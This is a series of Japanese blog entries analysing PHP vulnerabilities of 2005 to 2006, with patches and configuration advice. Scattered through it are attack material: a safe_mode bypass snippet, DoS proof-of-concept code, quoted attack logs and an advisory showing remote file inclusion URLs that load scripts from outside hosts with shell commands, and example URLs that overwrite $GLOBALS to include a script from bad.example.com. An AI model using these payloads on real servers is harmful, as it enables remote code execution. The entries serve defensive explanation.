タグ: 脆弱性

PHP 5.1/4.4用のセキュリティパッチ

PHP 5.2.0がリリースされていますが少なくとも2つ重要なセキュリティフィックスがあります。5.1/4.4ユーザが5.2.0にアップグレードするには時間が必要と思うのでWikiどのパッチが必要か書いておきましたPHP4はこちらです。

PHP4.4にはありませんがPHP5.1にはecalloc(メモリ確保関数)に整数オーバーフロー脆弱性があります。この脆弱性は随分前にPHP4で修正されたバグですがPHP5ブランチにマージされ忘れていた、という代物です。最も簡単に攻撃可能なケースはserializeされたPHP変数をフォームやURLに埋め込みそれをunserializeで処理しているケースです。

htmlspecialchars()/htmlentities()のヒープオーバーフローのPoCは見かけていませんがパッチを見ればどのような入力でオーバーフローするのか見る人が見れば直ぐ分かると思います。

良く知られたPHPの脆弱性…

また新しいsafe_modeをバイパスできる脆弱性を利用した攻撃方法を見つけた人がいるようです。safe_modeをバイパスできる脆弱性なので大きな問題とは思いませんが、

CVSS Severity: 7.0 (High)

となっていますね….

具体的には

This issue is due to an input validation error in the “error_log()” function that does not properly validate the destination parameter, which could be exploited by malicious users to bypass the safe mode feature by supplying a “php://” wrapper with directory traversal sequences as a destination argument.

の様なことができてしまう事が問題としてあげられています。

<?php
$file=””; # FILENAME
error_log(“<? echo \”cx\”; ?>”, 3,
“php://../../”.$file);
?>

が攻撃例としてあげられています。最初のアドバイザリメールには6/10にPHP開発者に連絡しレスポンスが無かったと書いてあります。

このようなケースはsefe_modeの範疇外(sefe_modeはfail safeを提供する機能。攻撃から防御する機能ではない)なので無視された、ということだと思います。

ちなみに、セーフモードはPHP6では無くなります。個人的にはfail safe機能としては非常に有用な機能だと思いますが、セキュリティホールとしてレポートされすぎるので削除されます。以前にも書きましたが「なんだかなぁ」と感じます。

システム上のファイルにアクセスしたければデータベース経由や他のライブラリ経由でアクセスすればアクセスし放題なんですけどね… safe mode = sandbox と勘違いしているユーザが多すぎです。

PHP 5.1.2の脆弱性

A cross-site scripting (XSS) vulnerability in phpinfo (info.c) in PHP
<= 5.1.2 allows remote attackers to inject arbitrary web script or HTML
via long array variables, including (1) a large number of dimensions
or (2) long values, which prevents HTML tags from being removed.
(CVE-2006-0996)

Directory traversal vulnerability in file.c in PHP <= 5.1.2 allows
local users to bypass open_basedir restrictions and allows remote
attackers to create files in arbitrary directories via the tempnam
function. (CVE-2006-1494)

The copy function in file.c in PHP <= 5.1.2 allows local users to
bypass safe mode and read arbitrary files via a source argument
containing a compress.zlib:// URI. (CVE-2006-1608)

Mandriva Linux Security Advisoryによると現行リリースのPHP 5.1.2,4.4.2にも含まれる脆弱性を修正したPHPパッケージをリリースしましたね。重要な修正ではないので「適切」にシステムを構築・管理しているPHPユーザは気にする必要はありません。

phpinfo関数を一般に公開するのは絶対に止めた方が良いです。基本的にphpinfo関数の出力はデバッグ用の情報です。セキュアなシステムではデバッグ情報を一般に公開する事はありません。開発時以外はシステムや言語のエラー情報を出力しないのと同じです。

open_basedirは「フェイルセーフ機能」であるため、これに頼った設計を行うべきではありません。Perlなどでtaintモードを信頼するのと変わりません。

# 言い古されてはいますが、セキュリティ対策は繰り返し言い続ける事が重要ですから。

PHPの問題? BugTrackのレポート – Multiple PHP4/PHP5 vulnerabilities

このアドバイザリのメールの日付は何故か「2005/11/13」となっているのですが4/24のメールの様です。結論から言うとこのアドバイザリは通常は「無視してOK」です。

メールではメモリ消費のPoCとして以下のコードを例示しています。

i. wordwrap()
——
<?
$a = str_repeat (“A”,438013);
$b = str_repeat (“B”,951140);
wordwrap ($a,0,$b,0);
?>
——

ii. array_fill()
——
<array_fill (1,123456789,”Infigo-IS”);?>
——

iii. substr_compare()
——
&lt?substr_compare (“A”,”A”,12345678);?%gt;
——

まず1つ目ですが日本語環境でwordwrapを使っているケースは無いでしょう。更にプログラマが長大な分割文字(ラップした時の区切り文字)を指定する事はあり得ません。攻撃される事はまず無いでしょう。とは言っても典型的な整数オーバーフロー問題がある事は確かです。しかし、リスクがMediumとされていますがLowが適切でしょう。

【追記】古いwordwrapには整数オーバーフローがあったため修正されていました。まだ整数オーバーフローがあるのはおかしい、と思いPHP 5.1.2のソースを確認しました。少なくともPHP 5.1.2ではオーバーフローは発生せず整数オーバーフローが発生した場合、エラーが発生するコードになっています。と思っていたら、間違ってCVSのパッチ適用済みPHP5.1.2版のソースを見ていたようです。PHP5.1.2にも整数オーバーフローがあります。PHP 4.4.2も整数オーバーフローの影響を受けます。しかし、既に書いたとおり脆弱性自体の危険性は非常に低いです。同じようなバグが過去にレポートされていて直されていたと思うのですがまだ残っていたようです。

【追記2】substr_compare(“A”,”A”,12345678) ですがメモリ参照の問題でSegfaultします。バグですがこの手の問題は普通DoSとは言いませんね… PHP 5.1.3では修正されます。 “The start position cannot exceed initial string length.”とエラーになります。このエラーメッセージからも分かるように確保しているメモリよりも先のアドレスを参照している為、Segfaultしてしまったバグです。プログラム中に間違えて踏みそうなバグですが、この時点までこんなバグが残っていたのは色々な意味で「どうかな…」と思います。このバグ「クラッシュするよ」とレポートがあれば、PHPソース中で不具合を発生させる箇所が不明でも、バックトレース一発で原因まで特定できる単純なバグです。substr_compareはPHP5からの関数ですがzval(PHP変数のデータ構造体)には文字列(データ)の長さが保存されているのですが、これを使っていなかったのも「どうかな…」と思わされます…

2、3つ目ですがDoSが可能となるとしていますがこれに書いてあるコードでメモリを沢山消費しても仕方ないコードです。(ちょっと乱暴な例えかもしれませんが)C言語で「メモリをGB単位で確保して、確保したメモリにmemsetするとsegfaultする」と言っているような物です。言語とアプリケーションは違います。言語でメモリを大量に消費すると問題になるケースもありますが、これらは問題として取り扱うような動作ではありません。memory_limitの引っかかってしまっても当たり前でしょう。レポートした方はどうすべき、と考えているか聞いてみたいくらいです。

今までにもこの手のレポートはいくつかあったのですが、PHPをプログラミング言語として捉えていない人が多いのは驚かされます… たしか、最近もまた

function foo($arg) {
   foo($arg);
}

で「PHPがクラッシュするからおかしい」とメールがあったと思います。メモリは有限リソースなんですけどね… しかも同じ内容のメールは私が気が付いただけでも複数回見ています… 初心者向けに再帰呼び出し回数に制限を設けてもよいかも知れませんが、再帰呼び出し制限なんて必要なんでしょうか?

私が知らないだけかも知れませんが手続き型のライトウェイト言語(Ruby、Python、Perl、Tclなど)で「関数のコールスタックは1000まで」と言った感じでチェックしている(できる)言語がある??!

【追記】
気になりついでにPHP,Ruby,Python,Perlの動作も調べたので、気になる方はコメントをどうぞ。制限するか? しないか? ポリシーの問題のようですね。Perl,PHPは制限しない。Ruby,Pythonは制限する。で、最も中途半端なのはPHP ;) 詳しくはコメントをどうぞ。

PHPのStrictセッション

Strictセッション管理パッチのダウンロード数がやっと?100を超えました。

PHP5用のパッチなのが一番の問題なのでしょうか?非常にダウンロード数が少ないように思えます。私はこのパッチはセキュリティ上かなり重要なパッチだと思っています。

PHP4のパッチが必要なのかな? 枡形さんが作ってましたっけ?

関連:
http://blog.ohgaki.net/index.php/yohgaki/2006/02/02/strict_sessioncric_a_a_a
http://blog.ohgaki.net/index.php/yohgaki/2006/02/05/phpa_rsession_fixationa_ei
http://blog.ohgaki.net/index.php/yohgaki/2006/02/27/a_ma_sa_sa_ma_ca_a_ma_a_sa_f

Strict Session管理パッチ

PHPのセッションID管理がいまひとつであることは

http://blog.ohgaki.net/index.php/yohgaki/2005/12/24/strict_sessioncric

にも書きました。PHP 5.1.2用のパッチですがsqliteと一緒にコンパイルするとsqlite用のvalidationパッチが含まれていないのでビルドできませんでした。

MomongaLinux用にsqliteも一緒にビルドできるパッチを作成したのでWikiに載せました。もちろんSQLiteをセッションID管理に使用しても厳格なセッションID管理になります。必要な方は是非どうぞ。

http://wiki.ohgaki.net/index.php?PHP%2Fpatch%2FStrictSession

追記:
厳格なセッションID管理を行うパッチを適用したPHPをインストールした後、php.iniに

session.use_strict_mode = 1

を追加してください。これを追加しないと厳格なセッションID管理になりません。

ファイルインクルードブルートフォース攻撃

webappsecでこんなメールを見かけました。

For the most part I ignore the dozens of daily attacks against my system but this one caught my eye. Looks like some defacing groups are writing/implementing
perl scripts to identify query strings, and attempt php inclusion attacks against them (not using known exploits). Below is a log snippet.

202.226.224.67 – – [08/Jan/2006:21:32:43 -0500] “GET / HTTP/1.0” 200 37172 “-” “lwp-trivial/1.35” 202.226.224.67 – – [08/Jan/2006:21:32:44 -0500] “GET /?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 37172 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:45 -0500] “GET /webservers/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24083 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:46 -0500] “GET /phishing/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 30626 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:47 -0500] “GET /database/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24267 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:48 -0500] “GET /appservers/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24521 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:49 -0500] “GET //lib/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 47471 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:50 -0500] “GET /archive/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 25445 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:51 -0500] “GET /development/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24286 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:52 -0500] “GET /ws/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 29316 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:53 -0500] “GET //pen-test/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 29892 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:54 -0500] “GET /ajax/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 28338 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:55 -0500] “GET /appfirewall/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24073 “-” “lwp-trivial/1.35”

The script located at www.sanicentrum.be might interest some of you, as well as the include file it uses at http://www.sanicentrum.be/private/therules25.dot
and the many scripts it uses/looks for.

Working Referenced Links
* http://www.sanicentrum.be/private/tool25.dot
* http://www.sanicentrum.be/private/writer25.dot
* http://www.sanicentrum.be/private/get25.dot
* http://www.sanicentrum.be/private/filed25.dot
* http://www.sanicentrum.be/private/filed_put25.dot (Of Interest)
* http://www.sanicentrum.be/private/copyd25.dot
* http://www.sanicentrum.be/private/flist25.dot
* http://www.sanicentrum.be/private/style25.dot (Because every defacement group needs html templating :)

Non working (at this time)
* http://www.sanicentrum.be/private/safe25.dot

I’ve contacted sans since the parent host *appears* to be hacked.

– Robert
http://www.cgisecurity.com/ Website Security News, and more!
http://www.cgisecurity.com/index.rss [RSS Feed]

——————————————————————————-
Watchfire’s AppScan is the industry’s first and leading web application
security testing suite, and the only solution to provide comprehensive
remediation tasks at every level of the application. See for yourself.
Download AppScan 6.0 today.

https://www.watchfire.com/securearea/appscansix.aspx?id=701300000003Ssh
——————————————————————————-

Perlスクリプトでブルートフォース的にファイルインクルードバグがあるPHPスクリプトの攻撃を試みているようです。調べて見ると、私のサーバにも同様のアクセスログが残っていました。トップページにあるリンクを抽出し、クエリ文字列部分を書き換えて試してみる作りになっているようです。攻撃用のPHPスクリプトは削除されていて今はアクセスできないようです。

スクリプトインジェクションが出来るのであまり役に立たないとはいえallow_url_fopen=offなら万が一スクリプトインクルードバグがあってもこの攻撃からは守れますね。

Mambo, Coppermine, PHPBBが攻撃対象に(2)

/.Jの投稿で気が付いたのですが前に書いた「Mambo, Coppermine, PHPBBが攻撃対象に」でワームが活動している記載しましたが、日本のサーバでも感染しているらしいです。

http://www.merit.edu/mail.archives/nanog/msg14612.html

ネットワークブロックが記載されています。対象のアプリケーションを使っている方は確認された方がよいと思います。
# XMLRPCの対策をされていない方も直ぐに対策が必要です。

Strict Session管理パッチ

Hardedned PHPプロジェクトのStefan EsserさんがPHP SESSIONをより安全に運用するパッチを公開しています。

このパッチはPHPのセッション管理の問題に対応します。PHPのSESSIONモジュールがSession Fixation(セッションIDの固定化)に対して脆弱であることは随分前から広く(?)知られていました。このパッチを適用すればSession Fixation問題も随分改善します。

例えば、PHP SESSIONを利用しているサイトで

http://example.jp/index.php

と言うURLがクッキーを利用したセッション管理行っているとします。セッションデータが初期化されサーバに保存されているか、されていないかに関わらず、ブラウザが送信したクッキーによって指定されたセッションIDがそのまま使われます。このパッチはセッションIDのデータが無ければ、セッションIDを再生成してセッションを開始するよう動作が変わります。(通常のPHPのセッション管理はpermissiveなセッション管理と呼ばれています。パッチ適用後はstrictなセッション管理も選択できるようになります。)クッキーだけを使ったセッション管理では、セッションIDが固定化する問題はあまり深刻な問題ではありませんが、好ましい動作とは言いがたいです。

session.use_only_cookiesがoffの場合、問題は深刻です。

http://example.jp/index.php?PHPSESSID=123456

とすると、セッションデータが無い場合、セッションIDが123456になってしまいます。session.use_cookies=on設定(デフォルト値)でクッキーを利用するセッション管理でも、PHPSESSID=123456をクッキーに設定されます。つまり、デフォルトの状態のPHPのセッション管理はsession.use_only_cookiesがoffである為、普通にSession Fixationに脆弱になってしまいます。一応、サイト外のURLに埋め込まれたセッションIDを受け付けないようにするsession.referer_check設定もあるのですが、REFERERを使っているので十分な対策とはいえません。許可するドメインなどを記載する設定項目なので、当然ですが、デフォルトでは何も設定されていません。何も設定されていない時はREFERERチェックは行われません。

追記:色々書いていますが、要するにデフォルト設定のPHPだとSession Fixationに脆弱である、と言うことです。

より厳格なセッションID管理を行うには、パッチを適用後、

session.use_strict_mode = on

と設定するだけです。

このパッチを適用するとユーザ定義セッションセーブハンドラで以下の2つの関数が利用(定義)できるようになります。

string create_sid()
bool validate_sid($key)

create_sid関数は新しいセッションIDを作成します。
validate_sid関数は$keyが正しいかチェックします。

ところで、デフォルトではsession.use_only_cookiesはoffに設定されています。しかし、普通のサイトはsession.use_only_cookiesはONで運用するべきです。もし、offで運用されている場合、強くONに変更して運用することをお勧めします。先ほども書きましたが、session.use_only_cookies=onであればSession Fixation問題はそれほど重大な問題とは言えません。パッチを適用していない場合でもsession.use_only_cookies=onであればそれほど心配する必要はありません。

# 随分古いInternet ExplorerではXMLHttpRequestで他のサイトにリクエスト
# を送信できたりしました。しかし、今は出来ないのでクッキーを利用した
# セッション管理に対して効果的なSession Fixation攻撃は出来ないと思い
# ます。

やはり、まだある単純リモートスクリプト実行バグ..

Bug-TraqからMarmaraWeb E-commerceにリモートスクリプト実行脆弱性があることがレポートされていました。グーグルで検索しても日本語サイトが無いことから日本では利用されていないECアプリと思います。

MarmaraWeb E-commerce Remote Command Exucetion

###Hi all
###B3g0k[at]hackermail.com
###Kurdish Hacker
###Special Thanx All Kurdish Hackers
###Freedom For Ocalan!!!
###———————————–
###MarmaraWeb E-commerce Remote Command Exucetion
###———————————–
###Site: http://www.marmaraweb.com/referanslar.php#eticaret
###
###Description:An E-commerce scirpt coded by MarmaraWeb.
### selling produces from internet like books,DVDs,roasted chickpeas etc..
###=))
###
###
###Vulnerable:http://[target]/index.php?page=http://yourevilcode?&cmd=
###
###Vulnerable:http://[target]/?page=http://yourevilcode?&cmd=
###
###
###Solution : no I’m sorry =))
###
###Contact : B3g0k[at]hackermail[dot]com
###B3g0k [Kurdish Hacker]
###Freedom For Ocalan!!!
###Her B�j� Defacera Kurd!!!
###Greetz KHC,Serwebun Team,KHA,KCA

今年の6月頃にPHPプロジェクトの開発者MLで「allow_url_fopenがINI_SYSTEMに変更されたのはセキュリティ上問題である」と問題提起(詳しくはこのブログエントリを参照)したのですが、「何のセキュリティ対策になるのか分からない」とメールする人もいるくらいでした… 

このレポートにあるような脆弱性はPHP初心者にはありがちなミスです。やはり私が提案していた対策は必要だと確認できる脆弱性でした。

自分の身は自分で守る、ということでallow_url_fopenをINI_SYSTEMからINI_ALLに変更するパッチはこちらです。

mb_send_mailの脆弱性を利用したSPAM送信

mb_send_mailのRFC822形式の宛先ヘッダの処理がmailと違った為にSPAMの踏台にされた、という問題があったのですがどのプログラムかな?と思いつつ調べていなかったのですが、たまたま見付けました。serendipityだったようです。

http://blog.s9y.org/archives/80-Arbitrary-header-inclusion-in-Mail-Entry-plugin.html
http://www.s9y.org/forums/viewtopic.php?p=17772
http://xtian.goelette.info/index.php?url=archives/38-Email-injection-attack.html

PHP/tips/モジュールにバグがあった場合の対処

今更… という方もいらっしゃるかも知れませんが「PHP/tips/モジュールにバグがあった場合の対処」ページをWikiに作りました。

PHPのモジュールは基本的にはモジュールAPIが同じであればどのPHPと一緒に使っても構いません。つまり前のバージョンのモジュールが期待通りに動作していたのであれば、新しいPHPで古いモジュールを使えばよいのです。

# ただしセキュリティFIXが含まれる場合はセキュリティ用のパッチ
# を別途含めることをお忘れなく。

PHP 5.0.5の参照エラーを回避するパッチ

PHP 5.0.5の場合、不必要なFatalエラーが多発します。

Fatal error: Only variables can be passed by reference in
/home/yohgaki/public_html/pukiwiki-1.4.5_1.orig/rules.ini.php on line 26

私も最初は本気でこのような仕様にするつもりか、と思いましたが5.0.6では修正されます。

パッチを当てることでPHP 5.0.5で発生するエラーを回避できます。

ところでPHP 5.0.xはMMAPの利用方法にバグがある為、2MB以上のファイルを取り扱えない場合があります。この問題にはこちらのパッチをどうぞ。

PHPに重大な脆弱性(PHP4.4.0以下、PHP5.0.5以下) – まとめ

追記 2007/11/06: 現在のリリース版(4.4.7, 5.2.4)ではこの脆弱性は修正されていす。これより以前のPHPでも修正されていますが、別の脆弱性があるので最新リリース版の使用をお奨めします。

追記:PHP 5.1.1、PHP 5.1.2にはPHP 5.1.0で追加された対策がなぜか削除されています。PHP5でosCommerce等、register_globals=onが必須のアプリケーションやimport_request_variable関数を使用したregister_globals=off対策を行っている古いPHPスクリプトなどを動作させる場合には注意が必要です。register_globals=onが必要なアプリケーションへの対処が参考になります。

よろしければWebサイトセキュリティ対策入門も参考にしていただけると幸いです。リンク先に目次と書籍の紹介を記載しました。


Hardened-PHP Projectのセキュリティアドバイザリ

http://www.hardened-php.net/advisory_202005.79.html (以下アドバイザリ)

および

http://www.hardened-php.net/globals-problem (以下ホワイトペーパー)

について誤解があったため混乱させてしまったので調査した結果のまとめを書きます。結論から言うとこのアドバイザリはregister_globals=on環境のみ影響を受けると考えられます。ホワイトペーパーで指摘されている$GLOBALS書き換えによるコードの挿入等のコード実行を伴うセキュリティ上の問題は、アドバイザリによって指摘されている$_FILESの初期化時に$GLOBALSを上書きできる事により発生する場合もあります。ユーザが記述したコードが原因で$GLOBALSを書き換えれる場合もあります。
(ホワイトペーパーでは$_FILES以外に、古いPHPバージョンの$_GET/$_POST/$_COOKIEの$GLOBALS書き換え問題についても指摘しています)

2つの問題を同時に説明すると混乱の元ですので別々に説明します。攻撃例を説明した方が解りやすいので私が典型的と考えた攻撃例も付けました。

問題1 -「$_GET/$_POST/$_COOKE/$_FILESの初期化によって$GLOBALS配列が上書きされる問題」
不具合:register_globals=on設定の場合、$_GET/$_POST/$_COOKIE配列の初期化に問題があり$GLOBALS配列を書き換えてしまえる。(PHP 4.3.10以下、PHP 5.0.3以下)register_globals=on設定の場合、$_FILESの初期化に問題があり$GLOBALS配列を書き換えてしまえる。(PHP 4.4.0以下、PHP 5.0.5以下)

この不具合の影響:例えば、システムが設定する$_SERVER[REMOTE_ADDR]が信頼できなくなりPHPレベルでのIPアドレスベースの認証等は役に立たなくなる。$_SERVER[SCRIPT_FILENAME]をライブラリパス指定に利用している場合、リモートスクリプト実行が可能になる場合がある。

備考:この問題PHPが自動的に初期化する$_GET, $_FILES等の配列初期化時に発生します。$_SERVERの改ざんの影響を除くと、グローバル変数を利用する前に初期化するようプログラムされている場合には影響を受けません。

問題1を利用した攻撃例 -「$_SERVER[‘SCRIPT_FILENAME’]の改ざん」
スクリプトのライブラリへのPATHを指定する為に$_SERVER[‘SCRIPT_FILENAME’]等を利用している場合、スクリプトの内部構造を知らなくてもブルートフォース攻撃でサーバ上のPHPスクリプト対してリモートスクリプトの実行を試みることが可能となる。

問題となるようなコードの例

<?php
// 呼び出されたスクリプトのディレクトリを取得
define(‘LIBPATH’, dirname($_SERVER[‘SCRIPT_FILENAME’]) . ‘/lib/’);

// $_SERVER[‘SCRIPT_FILENAME’]はサーバが設定する値なので信頼できる
// はずだが丸ごと$GLOBALSを書き換えられた場合信頼できない。

// ライブラリの初期化
include(LIBPATH . ‘init.php’);

// 攻撃者はLIBPATHに”http://badserver.example.com/bad-script.php\0″
// 等を設定してリモートスクリプトを実行できる
?>

問題2 -「PHPスクリプト中で$GLOBALS配列が上書きされる問題」
不具合:register_globals=on設定の場合、ローカルスコープでもimport_request_variables関数、extract関数、parse_str関数、foreach等で$GLOBALS配列の書き換えが可能となる。グローバルスコープではregister_globals設定に関わらず$GLOBALS配列の書き換えが可能となる。

この問題の影響:既に初期化済みのグローバル変数が汚染された結果としてリモートスクリプトの実行などが可能となる場合がある。

備考:効果的な攻撃には、攻撃者がスクリプトの内部構造を知っている必要がある。ホワイトペーパーにあるようにPEAR.phpも攻撃の対象となる。少なくともPHP 5.0.4ではregister_globals設定のon/offに関わらずmport_request_variables関数、extract関数、parse_str関数を利用しても$GLOBALS配列のローカルスコープ(関数内)での書き換えはからは保護されます。foreach等による$GLOBALSの書き換えも保護されます。しかしグローバルスコープではregister_globals=offであっても保護されません。

問題2を利用した攻撃例 -「$GLOBALS変数の改ざん」
$GLOBALSの改ざんによりPEAR.phpを利用しリモートスクリプトを実行する

問題となるようなコードの例

<?php
// PEARライブラリを初期化
include ‘PEAR.php’;

// 古いコードの実行のためにregister_globals設定に関わらずユーザ
// 変数をグローバルスコープにインポート
// (このようなコードがある事自体がセキュリティホールですが例として)
import_request_variables(‘gp’);

// 本来はシャットダウン関数として登録するつもりのない関数
function bad_function() {
// register_gloabls=offが前提。$GLOBALSへのアクセスは安全(なはず…)
include $GLOBALS[‘some_path’] . ‘/some_file.php’;
}

// 攻撃者は 関数引数がinclude/requireに利用されている関数を
// $GLOBALS[‘_PEAR_shutdown_funcs’]
// に攻撃用の外部スクリプトを呼び出すよう
//http://target/?GLOBALS[_PEAR_shutdown_funcs][0]=[bad_function][]&GLOBALS[some_path]=http://bad.example.com/bad.php
// 等としてリモートスクリプトを実行する。
?>

攻撃には色々なバリエーションが考えられます。例えば、画像ファイルのアップロードをサポートしているサーバの場合で画像が保存されているパスが判っていると、allow_url_fopen=offに設定されていても攻撃が可能になります。細工した画像ファイルをアップロードしローカルの画像ファイルとして保存されるファイルにPHPスクリプトを埋め込み、ローカルファイルシステムから攻撃用のスクリプトを読み込む攻撃が可能となります。
(PHPスクリプトで画像形式をチェックしていてもほんの少しファイルのヘッダ部分を加工するだけでPHPスクリプトを画像ファイルとして取り扱わせる事が可能です。)

この様に特定の条件を満たせば比較的簡単にリモートからの任意スクリプトの実行攻撃が可能になります。「register_globals=onでも安全にプログラムできる」という議論がありましたが古いPHPでregister_globals=onで安全なPHPスクリプト、それもある程度複雑なPHPスクリプトを書くのはかなり難しいと思います。さらに古いPHPのregister_globals=onサポートには非常に大きなセキュリティホールがあったと言えます。古いPHPでregister_globals=onで運用しているWebサーバの危険度はかなり大きいと言えます。

追記:今時register_globals=onが必要なオープンソース製品は無い、と思っていたのですが見つけてしまったので追記します。register_globals=on設定が必要なオープンソース製品の場合はプログラムの内部構造が公開されているため脆弱性があるPHPで運用するのは無謀です。ある製品のソースをさっと斜め読みしたのですがリモートスクリプト実行が可能となる箇所を簡単に(約5分で)見つけることが出来ました。

PHP 4.2以降はregister_globals=offがデフォルト設定です。register_globals=offで運用している限り大きな影響は無いと思いますが、一部の古いスクリプト実行の為に仮想ホストでregister_globals=onになっていたり、不適切なimport_request_variables関数などの使用が無いか確認する方が良いと思います。

参考までに主なPHPの脆弱性をリストアップしました。比較的最近、addslashes関数に致命的なバグも見つかっています。escape_shell_args関数やpg_escape_string関数等を適切な関数を利用していれば良いのですが古いスクリプトではaddslashesが利用されている場合があります。SQLインジェクション等に注意が必要です。strip_tags関数にも同様のバグが見つかっています。strip_tags関数でクロスサイトスクリプティングを防いでいるサイトも要注意です。

最後に、register_globals=OffでPHPを運用し、古いPHPスクリプトに対して安直なregister_globals=Off対応を行っていないWebサイトの管理者の方には無用に大きなご心配をおかけした事をお詫びいたします。

参考:
PHPの脆弱性リスト
http://wiki.ohgaki.net/index.php?PHP%2F%C0%C8%BC%E5%C0%AD%A5%EA%A5%B9%A5%C8
簡易な対策
http://blog.ohgaki.net/index.php/yohgaki/2005/11/12/register_globals_ona_ai_eb_a_oa_ca_a_oam

過去の関連エントリ
http://blog.ohgaki.net/index.php/yohgaki/2005/11/03/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp_1
http://blog.ohgaki.net/index.php/yohgaki/2005/11/02/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp

PHPの現行リリースに重大な脆弱性(PHP4.4.0以下、PHP5.0.5以下) – その2

追記:まとめ用のエントリも追加しました下記URLもご覧ください。

http://blog.ohgaki.net/index.php/yohgaki/2005/11/09/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp_2


まず先のブログエントリで私が誤解していたため解りづらい状態になっていました。register_globals=offであればアドバイザリ(http://www.hardened-php.net/advisory_202005.79.html)の影響は受けません。この場で深くお詫びいたします。

いくつかのパターンが考えられますが今回Hardened-PHPプロジェクトからのアドバイザリで指摘されている問題によって影響を受ける環境は次のようになります。

影響を受ける環境1

  • register_globals=on に設定しているPHP4,PHP5
  • 未パッチのPHP – PHP 4.4.0以下、PHP 5.0.5以下
  • http://www.hardened-php.net/advisory_202005.79.html

影響を受ける環境2

  • parse_str関数を1つの引数のみでユーザが送信したデータに対して使用した場合
  • 未パッチのPHP – PHP 4.4.0以下、PHP 5.0.5以下
  • http://www.hardened-php.net/advisory_192005.78.html

アドバイザリより参照先とされたリンク先の問題の方が問題です。安全なプログラミングをこころがけているプログラマであれば脆弱なコードを書くことはないと思いますが、後で影響を受ける環境/プログラムについてもう少し解りやすく記述します。

http://www.hardened-php.net/globals-problem

影響を受ける環境3

  • import_request_variables等を使ってスコープ内にユーザが送信した変数を初期化しているプログラムを使用している(実装の違いからPHP4とPHP5、パッチの有り無し、バージョン、global_register設定で影響範囲が違う)

環境1のregister_globals=offはPHP4.2からのデフォルトであるため現在register_globals=onで運用しているシステムは無いと思いますが、register_globals=onでなければ動作しないアプリケーションの場合、直接影響を受けるので直ぐにアップデートが必要です。環境2のアドバイザリは事例が限定されていますがregister_globals=off設定でもregister_globals=onに変えてしまう脆弱性です。parse_str関数を引数1つのみで使う事は無いと思いますが一旦register_globals=onに設定が変わるとプロセスが終了するまでそのままになってしまいます。環境3はPHP本体の脆弱性とPHPスクリプトに作ってしまう脆弱性です。

Stefanさんの環境1に対するアドバイザリがCriticalとして設定されているのは次の理由からと考えられます。

  • 問題が発見されるまでは安全と考えられていたグローバル変数を利用したコードが危険なコードであること
  • PHP 4.4.1以前に添付されているPEAR.php等が攻撃に対して脆弱であること
  • 古いPHPとコードと使用している組織が多いこと
  • ワームなどが発生する可能性があると考えていること

# 環境2のparse_str関数の問題がLowレベルのアドバイザリとしてリリースした事
# から考えると環境1をCriticalレベルのアドバイザリとしてfile uploadの問題
# を取り上げるのはどうかと思います。言い訳になりますが同時に出されたアド
# バイザリのレベル、参考リンクと必要なパッチを見て誤解してしまう、という
# 失敗をしてしまいました。

典型的な環境3のようなプログラムはregister_globals=onである事を仮定していたレガシーなコードをregister_globals=off環境でも動作するように修正したプログラムと思います。新しいプログラムでもimport_request_variables関数等を利用した古いプログラミングスタイルのプログラムは脆弱になります。import_request_variables関数を利用しなくても自前でforeach文などでユーザ入力をスコープ上に展開した場合も脆弱になります。(hardened-phpの場合、このようなケースでも対応しているそうです)

対策としてはPHP本体とPEARをバージョンアップしできる限り安全な状態も必要ですが、PHPコードの再検査、特にレガシーなPHPスクリプト、を行い危険なユーザ変数のスコープ(クラス、ローカル、グローバル全て)への代入が無い事を確認する必要性があります。この問題をPHP本体のみで対処できれば良いのですがすべては望めません。

function bad1() {
  import_request_variables('g'); // GETの変数をローカルスコープに展開したい
  // prefixを付けないと$GLOBALSなどを書き換えられる可能性がある
}

function bad2() {
  forearch($_GET as $k=$v) $$k=$v;
  // import_request_variables('g')と同じ
}

確かにアドバイザリにあるようなPHP本体の脆弱性が影響する部分もあるのですが、ホワイトペーパーで指摘されているユーザのコード(PHPで書いたスクリプト)の方が問題と思います。上記の様なコードは非常に危険であるため古いコードには十分注意が必要と思います。